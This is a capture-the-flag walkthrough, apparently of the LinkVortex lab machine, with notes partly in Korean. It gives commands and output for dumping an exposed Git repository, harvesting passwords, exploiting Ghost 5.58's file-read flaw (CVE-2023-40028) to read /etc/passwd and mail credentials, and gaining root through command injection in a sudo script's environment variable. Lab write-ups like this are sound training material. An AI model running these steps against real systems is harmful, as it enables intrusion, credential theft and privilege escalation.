Proof of Concept
10.129.5.209
Nmap
PORT STATE SERVICE
22/tcp open ssh
80/tcp open httpInitial Access
80 웹서비스 접근
- http://10.129.231.194/으로 리다이렉트
┌──(kali㉿kali)-[~/LinkVortex]
└─$ curl http://10.129.5.209
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://linkvortex.htb/">here</a>.</p>
</body></html>/etc/hosts 파일 설정
┌──(kali㉿kali)-[~/LinkVortex]
└─$ cat /etc/hosts
<SNIP>
10.129.5.209 linkvortex.htb서브도메인 탐색
- dev.linkvortex.htb 발견
┌──(kali㉿kali)-[~/LinkVortex]
└─$ gobuster vhost -u http://linkvortex.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain -r -t 100
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://linkvortex.htb
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
[+] Append Domain: true
[+] Exclude Hostname Length: false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
dev.linkvortex.htb Status: 200 [Size: 2538]/etc/hosts 파일에 dev.linkvortex.htb 추가
┌──(kali㉿kali)-[~/LinkVortex/git-dumper]
└─$ cat /etc/hosts
<SNIP>
10.129.5.209 linkvortex.htb dev.linkvortex.htbhttp://dev.linkvortex.htb 하위 디렉토리 탐색 결과 결과 Git 레포지토리 발견
┌──(kali㉿kali)-[~/LinkVortex/git-dumper]
└─$ feroxbuster -u http://dev.linkvortex.htb -s 200 -t 1000 -w /usr/share/seclists/Discovery/Web-Content/common.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.13.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://dev.linkvortex.htb/
🚩 In-Scope Url │ dev.linkvortex.htb
🚀 Threads │ 1000
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/common.txt
👌 Status Codes │ [200]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.13.1
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 1l 1w 41c http://dev.linkvortex.htb/.git/HEAD
200 GET 115l 255w 2538c http://dev.linkvortex.htb/
200 GET 1l 9w 175c http://dev.linkvortex.htb/.git/logs/HEAD
200 GET 15l 53w 868c http://dev.linkvortex.htb/.git/logs/
200 GET 2172l 8158w 958396c http://dev.linkvortex.htb/.git/index
[####################] - 17s 4781/4781 0s found:5 errors:916
[####################] - 16s 4751/4751 289/s http://dev.linkvortex.htb/
[####################] - 2s 4751/4751 2527/s http://dev.linkvortex.htb/.git/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 2s 4751/4751 2738/s http://dev.linkvortex.htb/.git/logs/ => Directory listing (add --scan-dir-listings to scan) Git 레포지토리 덤프
┌──(kali㉿kali)-[~/LinkVortex/git-dumper]
└─$ git-dumper http://dev.linkvortex.htb/.git/ . -t 30
[-] Testing http://dev.linkvortex.htb/.git/HEAD [200]
[-] Testing http://dev.linkvortex.htb/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://dev.linkvortex.htb/.gitignore [404]
[-] Fetching http://dev.linkvortex.htb/.git/ [200]
[-] http://dev.linkvortex.htb/.gitignore responded with status code 404
[-] Fetching http://dev.linkvortex.htb/.git/refs/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/HEAD [200]
[-] Fetching http://dev.linkvortex.htb/.git/logs/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/info/ [200]
<SNIP>
[-] Fetching http://dev.linkvortex.htb/.git/objects/e6/54b0ed7f9c9aedf3180ee1fd94e7e43b29f000 [200]
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 5596 paths from the indexGit 레포지토리에서 비밀번호 추출
┌──(kali㉿kali)-[~/LinkVortex/git-dumper]
└─$ grep -i -r -E "password *[:=] *'"
.github/workflows/ci.yml: mysql root password: 'root'
.github/workflows/ci.yml: mysql root password: 'root'
apps/admin-x-settings/src/components/settings/general/UserDetailModal.tsx: errors.newPassword = 'Your new passwords do not match';
apps/admin-x-settings/src/components/settings/general/UserDetailModal.tsx: errors.confirmNewPassword = 'Your new passwords do not match';
apps/admin-x-settings/src/components/settings/general/UserDetailModal.tsx: errors.newPassword = 'Password must be at least 10 characters';
apps/admin-x-settings/src/components/settings/general/UserDetailModal.tsx: oldPassword: '',
apps/admin-x-settings/test/e2e/general/users/profile.test.ts: newPassword: 'newpassword',
apps/admin-x-settings/test/e2e/general/users/profile.test.ts: ne2Password: 'newpassword',
apps/admin-x-settings/test/e2e/general/users/profile.test.ts: oldPassword: '',
ghost/security/test/tokens.test.js: password: 'password',
ghost/security/test/tokens.test.js: password: '12345678',
ghost/security/test/tokens.test.js: password: '12345678'
<SNIP
ghost/core/test/regression/api/admin/authentication.test.js: const password = 'OctopiFociPilfer45';
<SNIP>
http://linkvortex.htb/ghost/#/signin에서 admin@linkvortex.htb/OctopiFociPilfer45로 로그인 성공
whatweb으로 웹 서비스 정보 확인
- Ghost 5.58 사용
┌──(kali㉿kali)-[~/LinkVortex]
└─$ whatweb http://linkvortex.htb
http://linkvortex.htb [200 OK] Apache, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache], IP[10.129.5.209], JQuery[3.5.1], MetaGenerator[Ghost 5.58], Open-Graph-Protocol[website], PoweredBy[Ghost,a], Script[application/ld+json], Title[BitByBit Hardware], X-Powered-By[Express], X-UA-Compatible[IE=edge]Ghost 5.58 버전에서 Arbitrary File Read Exploit 취약점 발견 (CVE-2023-40028)
POC 다운로드
┌──(kali㉿kali)-[~/LinkVortex]
└─$ git clone https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028.git
Cloning into 'Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028'...
remote: Enumerating objects: 20, done.
remote: Counting objects: 100% (20/20), done.
remote: Compressing objects: 100% (17/17), done.
remote: Total 20 (delta 3), reused 9 (delta 2), pack-reused 0 (from 0)
Receiving objects: 100% (20/20), 8.38 KiB | 8.38 MiB/s, done.
Resolving deltas: 100% (3/3), done.POC 동작 확인
┌──(kali㉿kali)-[~/LinkVortex/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028]
└─$ ./CVE-2023-40028 -u admin@linkvortex.htb -p OctopiFociPilfer45 -h http://linkvortex.htb
WELCOME TO THE CVE-2023-40028 SHELL
Enter the file path to read (or type 'exit' to quit): /etc/passwd
File content:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bashDockerfile.ghost파일에서 config.production.json 파일 절대 경로 확인
┌──(kali㉿kali)-[~/LinkVortex/git-dumper]
└─$ cat Dockerfile.ghost
FROM ghost:5.58.0
# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json
# Prevent installing packages
RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb /usr/sbin/dpkg-deb
# Wait for the db to be ready first
COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
COPY entry.sh /entry.sh
RUN chmod +x /var/lib/ghost/wait-for-it.sh
RUN chmod +x /entry.sh
ENTRYPOINT ["/entry.sh"]
CMD ["node", "current/index.js"]Read /var/lib/ghost/config.production.json using vulnerability (CVE-2023-40028) and found bob credentials
- fibber-talented-worth
Enter the file path to read (or type 'exit' to quit): /var/lib/ghost/config.production.json
File content:
{
"url": "http://localhost:2368",
"server": {
"port": 2368,
"host": "::"
},
"mail": {
"transport": "Direct"
},
"logging": {
"transports": ["stdout"]
},
"process": "systemd",
"paths": {
"contentPath": "/var/lib/ghost/content"
},
"spam": {
"user_login": {
"minWait": 1,
"maxWait": 604800000,
"freeRetries": 5000
}
},
"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "bob@linkvortex.htb",
"pass": "fibber-talented-worth"
}
}
}
}Accessed to target via SSH using previously obtained bob credentials
┌──(kali㉿kali)-[~/LinkVortex/git-dumper]
└─$ sshpass -p 'fibber-talented-worth' ssh bob@10.129.5.209
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Tue Dec 3 11:41:50 2024 from 10.10.14.62
bob@linkvortex:~$Read user.txt
bob@linkvortex:~$ cat user.txt
e482b470deb029e2edcaff3514130294
bob@linkvortex:~$ ifconfig
br-51005c50e6fd: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.20.0.1 netmask 255.255.0.0 broadcast 172.20.255.255
ether 02:42:f3:06:b3:74 txqueuelen 0 (Ethernet)
RX packets 49688 bytes 33202312 (33.2 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 48011 bytes 7780002 (7.7 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
ether 02:42:79:f9:e4:b3 txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.129.5.209 netmask 255.255.0.0 broadcast 10.129.255.255
ether 00:50:56:b0:cf:eb txqueuelen 1000 (Ethernet)
RX packets 1073777 bytes 116202033 (116.2 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 611310 bytes 197503697 (197.5 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0Privilege Escalation
sudo 권한 확인
bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty,
env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.pngChecked /opt/ghost/clean_symlink.sh and found it works as follows:
- 첫 번째 인자가 .png 확장자로 끝나고, 심볼릭 링크인지 확인
- 심볼릭 링크가 가리키는 실제 경로(타겟)를 readlink로 읽어오고, ‘etc’ 또는 ‘root’ 문자열이 포함되어 있으면 링크를 삭제
- 민감 경로가 아니면 /var/quarantined/ 디렉토리로 링크 파일 이동
- CHECK_CONTENT가 true이면 격리된 파일의 내용을 cat으로 출력
bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fiif [ -z $CHECK_CONTENT ];then 부분에서는 CHECK_CONTENT에 명령어를 삽입하면 if $CHECK_CONTENT;then 부분에서 해당 명령어가 root 권한으로 실행된다.
bob@linkvortex:~$ ln -s a.png
bob@linkvortex:~$ export CHECK_CONTENT=/bin/bash
bob@linkvortex:~$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
Link found [ a.png ] , moving it to quarantine
root@linkvortex:/home/bob#Read root.txt
root@linkvortex:~# cat root.txt
cb363ca718c1a1b6071a989253a9bbe7
root@linkvortex:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b0:cf:eb brd ff:ff:ff:ff:ff:ff
altname enp3s0
altname ens160
inet 10.129.5.209/16 brd 10.129.255.255 scope global dynamic eth0
valid_lft 1975sec preferred_lft 1975sec
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:79:f9:e4:b3 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
4: br-51005c50e6fd: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:f3:06:b3:74 brd ff:ff:ff:ff:ff:ff
inet 172.20.0.1/16 brd 172.20.255.255 scope global br-51005c50e6fd
valid_lft forever preferred_lft forever
6: veth82881ff@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-51005c50e6fd state UP group default
link/ether 12:37:5a:72:65:c1 brd ff:ff:ff:ff:ff:ff link-netnsid 0
8: veth77d85fd@if7: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-51005c50e6fd state UP group default
link/ether 32:0f:ba:e2:17:9a brd ff:ff:ff:ff:ff:ff link-netnsid 1